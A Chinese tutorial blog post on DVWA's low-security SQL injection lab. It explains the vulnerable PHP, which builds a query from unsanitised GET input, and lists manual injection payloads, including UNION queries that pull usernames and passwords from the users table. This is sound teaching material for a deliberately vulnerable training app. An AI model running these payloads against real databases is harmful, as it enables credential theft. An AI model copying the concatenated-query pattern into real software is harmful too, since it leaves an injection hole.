【DVWA】SQL Injection-low

【DVWA】SQL 注入——低安全性


【HTNL代码分析】


  • 鼠标右击查看网页源代码
    在这里插入图片描述

  • 核心代码

    <form action="#" method="GET">
    	<input type="text" name="id">
        <input type="submit" name="Submit" value="Submit">
    </form>
    

    action="#" ,将数据提交到当前页面
    method=“GET” ,使用get方法进行提交
    name 是最核心的,是用来接受用户输入的id
    最后一行就是一个提交按钮


【PHP代码分析】



<?php    

if(isset($_GET['Submit'])){	//判断Submit变量是否存在
    
    // Retrieve data
    
    $id = $_GET['id'];	//获取id变量的值并赋值给$id

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";	//将select查询语句赋值给$getid
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    //mysql_query() 函数执行mysql查询
    //die()函数输出一条消息,并退出当前脚本
    //mysql_error()函数返回上一个MySQL操作产生的文本错误信息
    //or之前的语句执行不成功时,才会执行后面的语句
    //and之前的语言执行成功时,才会执行后面的语句

    $num = mysql_numrows($result);	//返回结果集中行的数目

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");	//返回结果集中的first_name字段的值
        $last = mysql_result($result,$i,"last_name");	//返回结果集中的last_name字段的值
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>
  • mysql_query()函数
    mysql_query()如果是执行查询类(select)的语句,那么回返回一个资源标识符,也就是我们要查找的数据结果集;
    mysql_query()如果执行增删改之类的语句,返回的就是true或者false。

【手工SQL注入】


注入关键点
"SELECT first_name, last_name FROM users WHERE user_id = '$id'";

' or 1=1 or '		'' or 1=1 or '' 	假 or 真 or 假 = 真
' or 1=1  #		'' or 1=1 #				假 or 真 + 注释 = 真
1' or '1'='1		'1' or '1'='1'		真 or 真 = 真

手工SQL注入步骤

  1. 使用order by 确定列数
  2. 确定列数后就可以使用union去构造其他的查询了
    例:1' union select user(),database() #
    在这里插入图片描述
    例:1' union select user,password from users #
    在这里插入图片描述
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值